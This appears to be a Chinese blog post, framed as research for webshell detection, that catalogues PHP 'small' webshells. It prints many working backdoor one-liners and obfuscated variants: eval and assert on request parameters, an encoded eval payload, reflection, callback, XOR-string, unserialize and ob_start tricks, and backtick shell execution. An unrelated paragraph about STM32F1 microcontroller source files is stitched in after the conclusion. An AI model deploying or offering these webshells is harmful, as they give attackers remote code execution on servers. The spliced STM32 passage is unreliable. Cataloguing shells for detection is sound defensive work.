php webshell探索-常见小马

一.何为webshell

黑客通过一定途径将webshell上传至服务器具有执行权限(必须要有执行权限才可以,没有执行权限是没有用的)的WEB目录下。远程访问webshell实现控制服务器的目的。

一般来说webshell满足以下几个条件:
1.黑客上传的(不研究网站管理人员留下的)
2.服务器要开启web服务(不然没法访问)
3.脚本语言(php, python, asp, jsp等等,有人还问我有没有c, java…需要编译的语言不太方便执行吧)

其他的暂时不列举。

如何上传webshell,可以参考Webshell

一般从github下下来的webshell可分为大马和小马。小马通常代码不多,基本上是通过各种各样的方式执行恶意代码,比如

<?php eval($_POST['a']); ?>

该脚本上传后黑客发送post命令将a参数的值设置为恶意php代码(比如打开shell等等)让服务器执行恶意代码。

大马通常代码非常大,功能齐全,包括恶意命令执行,文件删除,新建文件,数据库增删改查等等。通常没有混淆,但是if-else特别多。大马就不举例子了。

二.常见小马探索

因为论文写webshell检测,不得不统计一些webshell特征。虽然关于如何用机器学习方法检测webshell的帖子,论文不少,但很少有论文统计过webshell特点,而小马的混淆方式又非常多,索性来探索下。

关于php常见后门函数PHP常见代码执行后门函数(例如eval和assert)
关于php回调后门PHP的回调后门
关于webshell的混淆可以参考关于PHP中的webshell

1.直接型

<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>

将恶意代码直接硬编码在代码里,解密后用eval执行。

2.通过反射类调用

<?php
	$func = new ReflectionFunction("system");
	echo $func->invokeArgs(array("$_GET[c]"));
?>

最终调用了system($_GET[c]);

3.通过排序函数调用

php5.4.8+中的assert能够接受两个参数

<?php
   $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
   $arr->uksort('assert');
?>

相当于assert($_REQUEST['x'])

4.通过类的混淆

1.类的魔术方法

<?php
class PNLK{
    function __destruct(){
        $FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
        @$FQHZ=$FQHZ('',$this->PZAF);
        return @$FQHZ();
    }
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];
?>

在PNLK类的__destruct()函数中,$FQHZ的值异或过后是create_function(),这段代码的作用就是新建一个PNLK对象,然后PNLK对象的__destruct()方法会在代码结束后自动执行。功能相当于

@$FQHZ = create_function('', $_POST['test']);
@$FQHZ();

这是类的__destruct()方法,此外,new一个对象时可以执行__construct()方法,echo一个对象时会执行_tostring()方法,php的魔术方法也是需要注意的。比如

<?php
class Test
{
    public function __toString()
    {
        $method='sysatem';
        (substr($method,0,3).substr($method, 4))($_GET['arg']);
        return '1';
    }
}
$a=new Test();
echo $a;
?>

相当于system($_GET['arg'])

2.类的自定义方法

<?php
class Test
{
    public function testing()
    {
        return function() {
            $method='sysatem';
            (substr($method,0,3).substr($method, 4))($_GET['arg']);
        };
    }
}
$a=new Test();
$b=$a->testing();
$b();
?>

这段代码就好懂多了,就相当于system($_GET['arg'])

3.通过反射获取类的注释

<?php
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();

$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
?> 

最终相当于assert("eval($_GET['c'])")

4.反序列化

<?php
    class Example
    {
       var $var = '';
       function __destruct()
       {
          eval($this->var);
       }
    }
    //$exp =  new Example();
    //$exp->var = "phpinfo();";
    //die(serialize($exp));
    unserialize($_GET['saved_code']);
?>

unserialize官方文档
若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。而php脚本执行完成时会执行对象的__destruct()方法。因此会触发恶意代码(eval)执行。

5.通过函数的混淆

<?php
$greet = function(){
    $method='system';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo $greet();
?>
<?php
$greet = function(){
    $method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);

这2段代码相当于变相执行system($_GET['arg'])

6.普通的混淆

可以通过字符串变换(字符串变换,位运算,逻辑运算,正则替换等,base64,rot13等方法)

<?php
$xh = array('','s');
$xh1 = 'a'.$xh[1].'ser'.chr('116');
@$xh1($_POST['dike']);
?>

变相assert($_POST['dike'])

<?php 
$qajd2="VDFOVVd5";
$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4 
$akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9 
$hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1 
$gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n");// kfcs6 
$foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2)))); 
$foxl6(); 
?>
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

这3段代码最终等效于什么我也算不出了,但是可以看出来进行了多次字符串变换(str_replace, 通过.进行字符串拼接)以及通过变量名调用函数(webshell混淆常见特征)。

7.其他的隐藏方式

1.ob_start

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

关于ob_start函数,官方文档
原型ob_start ([ callable $output_callback = null [, int $chunk_size = 0 [, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ]]] ) : bool,作用是打开输出缓冲

可以传入回调函数,返回值bool类型。
output_callback官方解释:
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。 如果这个output_callback不是一个可以调用的函数,此函数会返回false

重点:
1.output_callback传入1个参数
2.当调用ob_flush或者ob_end_flush等方法时output_callback会被调用
3.output_callback的参数是输出缓冲区的内容

所以上述代码会执行assert($_REQUEST['pass'])

2.register_shutdown_function

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

register_shutdown_function — 注册一个会在php中止时执行的函数,传入的第一个参数是要执行的函数,后面的参数是该函数的参数

3.回调函数

call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));

4.数组

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))

5.反引号

反引号中,变量转义作为shell命令被执行:
官方文档

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

相当于echo shell_exec("ls -al");

三.总结

本文列举了些webshell及其变种类型,这里所有的webshell的行为都是执行代码(assert, eval)或者命令(exec, shell_exec)。并没有讨论文件操作,数据库操作等行为类型。

这些webshell都有一个共同点,就是一定要有数据传入($_GET, $_POST等或者硬编码在php脚本里)以及数据执行(assert, eval显式调用或者隐式调用)。

以前总是忽略echo,print,虽然表面上只是输出,但是结合ob_start, ob_flush以及自定义类_tostring()方法还是可以做些文章,来执行代码或者命令。

这次就先统计这么多,下次列举以下它们的opcode特征,欢迎大佬们来补充。

小马哥stm32f1源文件是指由小马哥团队开发的针对STMicroelectronics的STM32F1系列微控制器的源代码文件。 STM32F1系列微控制器是STMicroelectronics推出的一款32位ARM Cortex-M3内核的单片机产品系列,它具有高性能、低功耗和丰富的外设资源等特点,广泛应用于各种嵌入式系统中。 小马哥团队开发的STM32F1源文件包含了各种驱动库、示例代码和应用程序,用于简化开发者在STM32F1系列微控制器上进行软件开发的过程。这些源文件提供了丰富的功能和接口,包括GPIO(通用输入输出)、USART(串行通信接口)、SPI(串行外围设备接口)、I2C(串行总线接口)等,开发者可以根据自己的需求选择适合的源文件进行开发。 通过使用小马哥stm32f1源文件,开发者可以更加便捷地进行STM32F1系列微控制器的项目开发。开发者可以根据自己的需求使用源文件中提供的函数和驱动库,以实现各种功能,如控制外部设备、接收传感器数据、实现通信等等。同时,源文件中的示例代码也提供了一些常用的应用案例,方便开发者了解和学习。 小马哥stm32f1源文件的开发团队专注于为开发者提供高质量的开发工具和开发资源,以帮助开发者更好地利用STM32F1系列微控制器进行嵌入式系统开发。这些源文件的开发和维护不仅提升了开发效率,还提供了更好的可靠性和稳定性,为开发者的项目成功实施提供了有力的支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值